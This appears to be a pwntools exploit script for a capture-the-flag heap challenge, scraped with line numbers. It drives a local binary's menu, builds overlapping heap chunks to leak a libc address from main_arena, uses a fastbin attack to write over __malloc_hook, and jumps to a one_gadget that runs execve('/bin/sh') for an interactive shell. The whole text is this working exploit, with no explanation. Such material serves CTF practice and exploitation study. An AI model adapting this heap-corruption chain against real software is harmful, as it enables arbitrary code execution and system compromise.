1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86
| from pwn import * context.log_level="debug" context.terminal=['tmux','sp','-h']
def cmd(cmd): p.sendlineafter(">>",str(cmd)) def add(name,size,des,score): cmd(1) p.sendafter("name:",name) p.sendlineafter("size:",str(size)) p.sendafter("des:",des) p.sendlineafter("score:",str(score)) def delete(id): cmd(2) p.sendlineafter("index:",str(id)) def show(id): cmd(3) p.sendlineafter("index:",str(id))
p = process("./pwn") libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
p.sendlineafter("name:","CTFM") p.sendlineafter("password:","123456")
add('a',0xf8,'b',-1) add('a',0x68,'b'*0x68,-1) add('a',0xf8,'b',-1) add('a',0xf8,'b',-1)
delete(0)
delete(1) for i in range(9): add('a',0x68,'b'*(0x60+(8-i)),-1) delete(0)
add('a',0x68,'b'*0x60+p32(0x170),-1) delete(2) add('a',0xf8,'b',-1) show(0) main_arean_xx = u64(p.recvuntil("\x7f")[-6:].ljust(8,'\x00')) libc_base = main_arean_xx - (0x7f38b0163b78-0x7f38afd9f000) log.info("libc_base:"+hex(libc_base)) malloc_hook = libc_base+libc.sym['__malloc_hook'] log.info("malloc_hook:"+hex(malloc_hook)) system_addr = libc_base+libc.sym['system']
add('a',0x68,'b'*0x10,-1) add('a',0x68,'b'*0x10,-1)
delete(0) delete(4) delete(2) add('a',0x68,p64(malloc_hook-0x23),-1) add('a',0x68,p64(malloc_hook-0x23),-1) add('a',0x68,p64(malloc_hook-0x23),-1) ''' 0x45226 execve("/bin/sh", rsp+0x30, environ) constraints: rax == NULL
0x4527a execve("/bin/sh", rsp+0x30, environ) constraints: [rsp+0x30] == NULL
0xf0364 execve("/bin/sh", rsp+0x50, environ) constraints: [rsp+0x50] == NULL
0xf1207 execve("/bin/sh", rsp+0x70, environ) constraints: [rsp+0x70] == NULL ''' add('a',0x68,'a'*0x13+p64(libc_base+0x4527a),-1)
cmd(1) p.sendafter("name:","skye") p.sendlineafter("size:",str(123)) p.sendafter("des:","dddd")
p.interactive()
|